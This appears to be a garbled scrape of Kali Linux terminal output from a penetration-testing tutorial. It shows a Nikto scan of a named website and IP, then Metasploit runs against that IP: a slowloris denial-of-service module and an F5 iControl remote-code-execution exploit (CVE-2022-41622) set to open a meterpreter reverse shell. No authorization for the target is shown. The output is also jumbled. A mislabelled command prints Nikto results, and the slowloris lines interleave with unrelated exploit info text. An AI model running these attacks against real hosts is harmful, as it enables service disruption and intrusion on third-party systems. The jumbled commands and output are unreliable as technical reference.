

```
(kali@kali)~$
```

```
python3 nmap --script=sslls --ssl-exclude=excelsite.com excelinstitutions.com/
```

```
- Nikto v2.1.6
```

```
+ Multiple IPs found: 103.235.105.181, 64:ff9b::67eb:69b5
```

```
+ Target IP: 103.235.105.181
```

```
+ Target Hostname: excelinstitutions.com
```

```
+ Target Port: 443
```

```
+ SSL Info: Subject: /CN=excelinstitutions.com  
Ciphers: TLS_AES_256_GCM_SHA384  
Issuer: /C=US/ST=TX/L=Houston/O=cPanel, Inc./CN=cPanel, Inc. Certification Authority
```

```
+ Start Time: 2024-06-26 05:01:18 (GMT-4)
```

```
+ Server: Apache
```

```
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
```

```
+ /: Drupal Link header found with value: <https://excelinstitutions.com/wp-json/>; rel="https://api.w.org/", <https://excelinstitutions.com/wp-json/wp/v2/pages/150>; rel="alternate"; type="application/json", <https://excelinstitutions.com/>; rel=shortlink. See: https://www.drupal.org/
```

```
+ /: Uncommon header 'x-litespeed-cache-control' found, with contents: public,max-age=604800.
```

```
+ /: Uncommon header 'x-litespeed-tag' found, with contents: f77_HTTP.200,f77_front,f77_URL.6666cd76f96956469e7be39d750cc7d9,f77_F,f77_Po.150,f77_PGS,f77_guest,f77_,f77_MIN.c3bae0e2f4dfc9f70ca86f756bdd7f92.js.
```

```
+ /: The site uses TLS and the Strict-Transport-Security HTTP header is not defined. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Strict-Transport-Security
```

```
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
```

```
+ /CfSzdgv2.: Uncommon header 'x-redirect-by' found, with contents: WordPress.
```

```
+ No CGI Directories found (use '-C all' to force check all possible dirs)
```

```
+ /: The Content-Encoding header is set to "deflate" which may mean that the server is vulnerable to the BREACH attack. See: http://breachattack.com/
```

```
+ ERROR: Error limit (20) reached for host, giving up. Last error: opening stream: can't connect: : Invalid argument
```

```
+ Scan terminated: 18 error(s) and 8 item(s) reported on remote host
```

```
+ End Time: 2024-06-26 05:27:41 (GMT-4) (1583 seconds)
```

```
+ 1 host(s) tested
```

```
(kali@kali)~$
```

```
$
```


- ✓ Post Exploration

```
msf6 auxiliary( ) > run
```

```
msf6 auxiliary(ssh_login) > set RHOST 103.235.105.181
```

```
msf6 auxiliary(sslstrip) > show options
```

Name _____

View the full module info with the `info`, or `info -d` command.

```
msf6 auxiliary(dos/http/slowloris) > run
```

```
[*] Starting server ...
```

```
[*] Attacking 103.235.105.181 with 150 sockets exploit(16, 0xdeadbeef) > info
```

```
[*] Creating sockets ...
```

```
[*] Sending keep-alive headers ... Socket count: 0 Name: MS12-063 Microsoft Internet Explorer execCommand Use-After-Free Vulnerability
[*] Sending keep-alive headers ... Socket count: 0
[*] Sending keep-alive headers ... Socket count: 0 Module: exploit/windows/browser/ie_execcommand_uaf
[*] Sending keep-alive headers ... Socket count: 0 Platform: Windows
[*] Sending keep-alive headers ... Socket count: 0 Legged: No
[*] Sending keep-alive headers ... Socket count: 0 License: Metasploit Framework License (BSD)
[*] Sending keep-alive headers ... Socket count: 0 Rank: Good
[*] Sending keep-alive headers ... Socket count: 0 Released: 2012-09-14
[*] Sending keep-alive headers ... Socket count: 0
[*] Sending keep-alive headers ... Socket count: 0
[*] Sending keep-alive headers ... Socket count: 0 Coded by:
[*] Sending keep-alive headers ... Socket count: 0 Coder:
[*] Sending keep-alive headers ... Socket count: 0 Language:
[*] Sending keep-alive headers ... Socket count: 0
[*] Sending keep-alive headers ... Socket count: 0 3r <sinn3r@metasploit.com>
[*] Sending keep-alive headers ... Socket count: 0 vazquez <juan.vazquez@metasploit.com>
[*] Sending keep-alive headers ... Socket count: 0
```

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[*] Sending keep-alive headers ... Socket count: 0
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[*] Sending keep-alive headers ... Socket count: 0
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[*] Sending keep-alive headers ... Socket count: 0
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```
[*] Sending keep-alive headers... Socket count: 0
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```
[*] Sending keep-alive headers... Socket count: 0 Platform: Windows
```

```
[*] Sending keep-alive headers ... Socket count: 0 Leaked: No
```

```
[*] Sending keep-alive headers... Socket count: 0
[*] Metasploit Framework License: BSD
```

```
[*] Sending keep-alive headers ... Socket count: 0 Rank: Good
```

```
[*] Sending keep-alive headers... Socket count: 0
[*] Sending keep-alive headers... Socket count: 0
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[*] Sending keep-alive headers ... Socket count: 0
[*] Sending keep-alive headers ... Socket count: 0
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[*] Sending keep-alive headers ... Socket count: 0
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[*] Sending keep-alive headers ... Socket count: 0
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[*] Sending keep-alive headers... Socket count: 0
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[*] Sending keep-alive headers ... Socket count: 0
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[*] Sending keep-alive headers ... Socket count: 0
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[*] Sending keep-alive headers ... Socket count: 0
[*] Sending keep-alive headers ... Socket count: 0
```

FileActionsEditViewHelp

kali@kali: ~ x

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kali@kali: ~ x

kali@kali: ~ x

SRVPORT8080

SSLtrue

SSLCert

TARGET_HOST

TARGET_SSLtrue

TARGET_URI/iControl/iControlPortal.cgi

URIPATH

yes

no

no

yes

yes

yes

no

The local port to listen on.

Negotiate SSL for incoming connections

Path to a custom SSL certificate (default is randomly generated)

The IP or domain name of the target F5 device

Use SSL for the upstream connection?

The URI of the SOAP API

The URI to use for this exploit (default is random)

Listening for Connections

Testing the Backdoor

Payload options (cmd/unix/python/meterpreter/reverse_tcp):

NameCurrentSettingRequiredDescription

LHOST

yes

The listen address (an interface may be specified)

LPORT

4444

yes

The listen port

Meterpreter

Exploit target:

Methods to Maintain access

IdName

0Restart

Website Penetration

0Restart

What is a Website?

Attacking a Website

View the full module info with the info, or info -d command.

msf6 exploit(linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622) > set RHOST 103.235.105.181

RHOST => 103.235.105.181

msf6 exploit(linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622) > exploit

[-] Msf::OptionValidateError One or more options failed to validate: TARGET_HOST.

msf6 exploit(linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622) > set TARGET_HOST 103.235.105.181

TARGET_HOST => 103.235.105.181

msf6 exploit(linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622) > exploit

[*] Exploit running as background job 0.

[*] Exploit completed, but no session was created.

[-] Started reverse TCP handler on 192.168.157.129:4444

msf6 exploit(linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622) > [+]

[*] Starting HTTP server; an administrator with an active HTTP Basic session will need to load the URL below

[*] Using URL: https://103.235.105.181:8080/SUU5r9ceh7LLO21

[*] Server started.

[*] f5_icontrol_soap_csrf_rce_cve_2022_41622 - Redirecting the admin to overwrite /shared/f5_update_action; if successful, your session will come approximately 2 minutes after the target is rebooted

msf6 exploit(linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622) > exploit

[*] Exploit running as background job 1.

[*] Exploit completed, but no session was created.

[-] Handler failed to bind to 103.235.105.181:4444:-

[-] Handler failed to bind to 0.0.0.0:4444:-

[-] Exploit failed [bad-config]: Rex::BindFailed The address is already in use or unavailable: (0.0.0.0:4444).

msf6 exploit(linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622) > exploit

[*] Exploit running as background job 2.

[*] Exploit completed, but no session was created.

[-] Handler failed to bind to 103.235.105.181:4444:-

